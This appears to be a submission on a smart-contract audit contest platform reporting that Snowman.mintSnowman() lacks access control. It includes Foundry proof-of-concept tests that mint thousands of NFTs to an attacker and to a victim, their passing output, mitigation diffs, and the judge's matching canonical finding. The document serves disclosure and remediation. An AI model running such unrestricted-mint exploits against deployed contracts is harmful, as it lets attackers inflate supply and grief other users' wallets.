Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Unrestricted Snowman.mintSnowman() lets anyone mint unlimited Snowman NFTs without staking,completely bypassing the airdrop and breaking the protocol's core invariant

Root + Impact

Description

  • The protocol is built around the invariant that Snowman NFTs are only mintable through the airdrop flow: a recipient proves their allocation in SnowmanAirdrop.claimSnowman() with a Merkle proof and an EIP-712 signature, and only then does the airdrop call i_snowman.mintSnowman(receiver, amount). Their Snow tokens are transferred into the airdrop contract in exchange for the NFTs.

  • Snowman.mintSnowman() is declared external with no access control modifier (no onlyOwner, no airdrop-only check, no caller restriction at all), so any address can call it directly and mint an arbitrary number of Snowman NFTs to any recipient, completely bypassing SnowmanAirdrop and the Snow staking requirement.

// src/Snowman.sol
contract Snowman is ERC721, Ownable {
// ...
// >>> EXTERNAL FUNCTIONS
@> function mintSnowman(address receiver, uint256 amount) external { // @> no access control
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
}

Risk

Likelihood:

  • The function is publicly callable on-chain from the moment the contract is deployed. Any wallet that reads the ABI can invoke it in a single transaction.

  • Exploitation requires no Snow balance, no Merkle proof, no signature, and no special timing — making this trivially reachable on every block after deployment.

Impact:

  • Any address can mint an unlimited number of Snowman NFTs to itself, fully circumventing SnowmanAirdrop and the Snow → Snowman staking conversion that the entire protocol is built around.

  • The airdrop economics are destroyed: legitimate users who acquire and stake Snow tokens get one NFT per token, while attackers mint thousands for free, diluting the supply and rendering the staking flow pointless.

  • An attacker can also force-mint NFTs to any victim address (griefing — pollutes the victim's wallet, can DoS UIs that paginate over tokenOfOwnerByIndex).

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {Snowman} from "../src/Snowman.sol";
contract PoC_UnrestrictedMint is Test {
Snowman snowman;
address attacker = makeAddr("attacker");
address victim = makeAddr("victim");
function setUp() public {
snowman = new Snowman("ipfs://snowman.svg");
}
function test_anyone_can_mint_unlimited_NFTs() public {
assertEq(snowman.balanceOf(attacker), 0);
vm.prank(attacker);
snowman.mintSnowman(attacker, 10_000);
assertEq(snowman.balanceOf(attacker), 10_000);
console.log("Attacker freely minted Snowmen:", snowman.balanceOf(attacker));
}
function test_anyone_can_mint_to_victim_griefing() public {
vm.prank(attacker);
snowman.mintSnowman(victim, 5_000);
assertEq(snowman.balanceOf(victim), 5_000);
console.log("Victim got force-minted unwanted NFTs:", snowman.balanceOf(victim));
}
}

Run with forge test --match-contract PoC_UnrestrictedMint -vv. Both tests pass, proving any address can mint to itself or to a victim:

[PASS] test_anyone_can_mint_to_victim_griefing()
Logs: Victim got force-minted unwanted NFTs: 5000
[PASS] test_anyone_can_mint_unlimited_NFTs()
Logs: Attacker freely minted Snowmen: 10000

Recommended Mitigation

contract Snowman is ERC721, Ownable {
error ERC721Metadata__URI_QueryFor_NonExistentToken();
error SM__NotAllowed();
+ error SM__OnlyAirdrop();
uint256 private s_TokenCounter;
string private s_SnowmanSvgUri;
+ address private s_airdrop;
constructor(string memory _SnowmanSvgUri) ERC721("Snowman Airdrop", "SNOWMAN") Ownable(msg.sender) {
s_TokenCounter = 0;
s_SnowmanSvgUri = _SnowmanSvgUri;
}
+ function setAirdrop(address _airdrop) external onlyOwner {
+ s_airdrop = _airdrop;
+ }
- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external {
+ if (msg.sender != s_airdrop) revert SM__OnlyAirdrop();
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 9 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!